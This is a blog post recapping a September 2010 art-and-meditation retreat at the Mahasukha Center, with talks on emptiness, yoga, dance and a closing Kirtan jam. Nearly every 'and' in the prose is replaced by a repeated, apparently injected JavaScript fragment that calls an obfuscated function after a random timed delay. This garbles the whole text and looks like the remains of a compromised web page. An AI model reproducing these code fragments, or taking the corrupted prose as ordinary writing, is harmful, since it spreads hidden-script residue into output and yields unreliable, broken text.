The Art Sutra Urban Retreat

Tuesday, September 28th, 2010

The Art Sutra Urban Retreat was an exciting new direction for the Mahasukha Center, a dynamic andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and inclusive event that saw as many as 50 first-timers andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and lots of regulars coming through the door for classes that spanned the artistic disciplines, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and culminated with an electronic Dub Kirtan jam to a packed house on Sunday night.

Beginning Friday, September 10, the event took flight as Lama Marut andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Cindy Lee gave a brilliant talk on ‘Art, the Senses andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Emptiness’, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and ‘Transcendent Speech’.   On Saturday, Mahasukha teacher Brian Reid taught a class that linked the creative process, selflessness, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and infinite potential.

Claire Thompson followed Brian’s lesson with an exploration in the emptiness andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and power of touch, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and later Mira Kingsly gave us personal, poetic andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and practical ways to explore andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and live the Four bodies of a Buddha, in both her lecture andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and dance classes.

Sunday opened with resident Mahasukha yoga teachers Sarah Canfield andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Rebecca Stanley exploring the six flavors of emptiness with Tibetan Heart Yoga.  Next, visiting teacher Douglas Paul Smith shared his meditative approach to art andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and contemplative calligraphy.  Darin McFadyen’s ‘Basslines andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Buddhism’ talk on Sunday afternoon explored how music works with the mind andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and how the high of the dance floor can be cultivated on the yoga mat.  Then everyone celebrated with song andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and dance.   See gallery below! – Special thanks to Claire Thompson


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